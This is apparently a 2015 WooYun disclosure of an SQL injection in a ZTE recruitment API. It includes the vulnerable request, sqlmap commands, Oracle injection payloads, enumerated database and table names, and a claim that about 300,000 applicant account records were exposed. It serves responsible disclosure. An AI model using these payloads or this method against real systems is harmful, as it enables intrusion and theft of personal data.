当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094270

漏洞标题：中兴某接口存在SQL注入泄露30万招聘数据（第三方公众平台安全隐患）

相关厂商：中兴通讯股份有限公司

漏洞作者： 深度安全实验室

提交时间：2015-01-28 10:35

修复时间：2015-03-14 10:36

公开时间：2015-03-14 10:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-28： 细节已通知厂商并且等待厂商处理中
2015-01-30： 厂商已经确认，细节仅向厂商公开
2015-02-09： 细节向核心白帽子及相关领域专家公开
2015-02-19： 细节向普通白帽子公开
2015-03-01： 细节向实习白帽子公开
2015-03-14： 细节向公众公开

简要描述：

安全是一个整体

详细说明：

漏洞证明：


在微信上看自己的简历被录取了没有，输入身份证号码进行查询，结果发现该接口存在SQL注入：

http://zte.pro.bama555.com/api/

1.jpg


出现问题的地方：

POST /api/index.php HTTP/1.1
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://zte.pro.bama555.com:80/api/
Host: zte.pro.bama555.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
code=-1&dopost=status


code参数存在问题。

sqlmap.py -r ../sql.txt -p "code" --dbs


sqlmap identified the following injection points with a total of 554 HTTP(s) requests:
---
Place: POST
Parameter: code
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: code=-1' AND 6063=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(111)||CHR(112)||CHR(115)||CHR(113)||(SELECT (CASE WHEN (6063=6063) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(114)||CHR(119)||CHR(99)||CHR(113)||CHR(62))) FROM DUAL) AND 'donS'='donS&dopost=status
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: code=-1' AND 5729=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'yerm'='yerm&dopost=status
---
back-end DBMS: Oracle
available databases [19]:
[*] ASSE
[*] CAREER
[*] CTXSYS
[*] HNCAREER
[*] HOLONLINE
[*] HRONLINE
[*] INTERNCAREER
[*] LHC
[*] MDSYS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] SYS
[*] SYSTEM
[*] TIVOLI
[*] WMSYS
[*] XDB
[*] ZHAOPIN
[*] ZTECAREER


ZHAOPIN库中有138张表：

sqlmap.py -r ../sql.txt -p "code" -D ZHAOPIN --tables


Database: ZHAOPIN
[138 tables]
+--------------------------------+
| ATM_MAIL_DATA                  |
| BASE_DICTIONARIES              |
| BASE_HELP_CONFIG               |
| CAREER_APPROVE_DETAIL          |
| CAREER_AUDIT_RESUME            |
| CAREER_COMPANY_DIC             |
| CAREER_COMPRE_RECORD           |
| CAREER_COMPRE_VIEW             |
| CAREER_CONFIGURATION           |
| CAREER_DEPARTMENT              |
| CAREER_DIC_DATA                |
| CAREER_DIC_MAPPING             |
| CAREER_DIC_TYPE                |
| CAREER_ERROR_LOG               |
| CAREER_EXAMINER_COM            |
| CAREER_EXAMINER_DETAIL_COM     |
| CAREER_EXAMINER_DETAIL_PRO     |
| CAREER_EXAMINER_PRO            |
| CAREER_EXAM_INVITE             |
| CAREER_EXAM_RECORD             |
| CAREER_FAQ                     |
| CAREER_FINAL_ALLOCATE          |
| CAREER_FINAL_RECORD            |
| CAREER_FINAL_VIEW              |
| CAREER_INFOMATION              |
| CAREER_INFO_TYPE               |
| CAREER_INVESTIGATE             |
| CAREER_JOB_INFO                |
| CAREER_JOB_REPLY               |
| CAREER_JOB_TYPE                |
| CAREER_LOGIN_LOG               |
| CAREER_MENU_INFO               |
| CAREER_MESSAGE_TOME            |
| CAREER_OPRERATE_DATA_LOG       |
| CAREER_OPRERATE_LOG            |
| CAREER_OVERSEA_USER_INFO       |
| CAREER_POSITION_UPLOAD_TASK    |
| CAREER_PRIEXAM_RECORD          |
| CAREER_PRO_RECORD              |
| CAREER_PRO_VIEW                |
| CAREER_QUERY_PLATFORM          |
| CAREER_QUERY_STAT              |
| CAREER_RECORD_TOTAL            |
| CAREER_REQUIREMENT_INFO        |
| CAREER_REQUIREMENT_LOG         |
| CAREER_REQUIREMENT_MID         |
| CAREER_REQUIREMENT_PROCESSOR   |
| CAREER_REQUIREMENT_PROCES_STAT |
| CAREER_REQUIREMENT_RELATION    |
| CAREER_RESUME_ALL              |
| CAREER_RESUME_INDEX            |
| CAREER_RESUME_JOIN_CONFIG      |
| CAREER_RESUME_OP_LOG           |
| CAREER_RESUME_QUERY_LOG        |
| CAREER_ROLE_DEFINE             |
| CAREER_ROLE_MEMBER             |
| CAREER_ROLE_MEMBER_DEPT        |
| CAREER_ROLE_PERMIT             |
| CAREER_SMS                     |
| CAREER_STATUS_MAPPING          |
| CAREER_STATUS_UPDATE_DIC       |
| CAREER_UNIAPPROVE_TS           |
| CAREER_UPLOAD_FILE_INFO        |
| CAREER_USER_ACCOUNT            |
| CAREER_USER_EDUCATION          |
| CAREER_USER_EXPERIENCE         |
| CAREER_USER_INFO               |
| CAREER_USER_LANGUAGE_INFO      |
| COMMUNICATE_RECORD             |
| DR$COMU_RECORD_INDEX$I         |
| DR$COMU_RECORD_INDEX$K         |
| DR$COMU_RECORD_INDEX$N         |
| DR$COMU_RECORD_INDEX$R         |
| DR$QUICK_SEARCH$I              |
| DR$QUICK_SEARCH$K              |
| DR$QUICK_SEARCH$N              |
| DR$QUICK_SEARCH$R              |
| EMP_PROJECT_RELARION           |
| GRD_CHARACTER_STAR_DIC         |
| GRD_CHARACTER_YANSHI_DIC       |
| GRD_CHATEST_ATR_DIC            |
| GRD_CHATEST_CON_RESULT         |
| GRD_CHATEST_ITEM_DIC           |
| GRD_CHATEST_ITEM_RESULT        |
| GRD_CHATEST_SJ                 |
| GRD_CHATEST_SJTYPE             |
| GRD_CHATEST_SJ_POSI            |
| GRD_CHATEST_TYPE_DIC           |
| GRD_CHATEST_TYPE_RESULT        |
| HRT_ERROR_LOG                  |
| HRT_MAIL_CONFIG                |
| HRT_MANAGER_DEPT               |
| HRT_RESUME_TEMP                |
| HRT_WFSERIAL                   |
| HR_EXCEL_IMPORT_TMP            |
| HR_LANG_EMP_TEST               |
| JOB_DICTIONARY                 |
| JOB_DIC_RELATION               |
| MENU_TRANSLATE                 |
| MLOG$_CAREER_USER_INFO         |
| PLAN_TABLE                     |
| PLATFORM_EMPLOYEE_RELATION     |
| PLATFORM_LANG_WORKPLACE        |
| RECOMMEND_PROCESS_MANAGE       |
| RECOMMEND_RESUME               |
| RECOMMEND_RESUME_TMP           |
| RESUME_RECOMMENT_BONUS         |
| RESUME_STATUS_RELATION         |
| TALENT_LIBRARY_RESUME          |
| TALENT_LIBRARY_RESUME_TMP      |
| TALENT_RESUME_ALL              |
| TEMP_1                         |
| TEMP_XXL                       |
| TMP_CAREER_USER_EXP_HUAWEI     |
| WFT_GIVERIGHT                  |
| WFT_GIVERIGHT_LOG              |
| WFT_HANDLER_DIC                |
| WFT_ROLES_OPERATION_DEFINE     |
| WFT_TEMPLATE                   |
| WFT_TEMPLATE_DEFINE            |
| WFT_TEMPLATE_ENDWFEMP          |
| WFT_TEMPLATE_ENDWFEMP_BACK     |
| WFT_TEMPLATE_EXAM_PAGE         |
| WFT_TEMPLATE_GRAPHICS          |
| WFT_TEMPLATE_LINK              |
| WFT_TEMPLATE_LOG               |
| WFT_TEMPLATE_NODE              |
| WFT_TEMPLATE_PARAM             |
| WFT_THREAD_ABOUTPERSON         |
| WFT_THREAD_ACL                 |
| WFT_THREAD_ENDSTATUS_DIC       |
| WFT_THREAD_HANDLE_TRACE        |
| WFT_THREAD_HEAD                |
| WFT_THREAD_LOG                 |
| WFT_THREAD_PARAM               |
| WFT_THREAD_REC                 |
| WFT_THREAD_STATUS_DIC          |
| WFT_TWOLEVEL_HANDLER           |
+--------------------------------+


看一看CAREER_USER_ACCOUNT表：

2.jpg


30来万数据，跑了几个试了一下没跑了：

3.jpg


其他表里面的信息就不深入去看了。

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-01-30 08:59

厂商回复：

感谢~

最新状态：

暂无

漏洞评价：

评论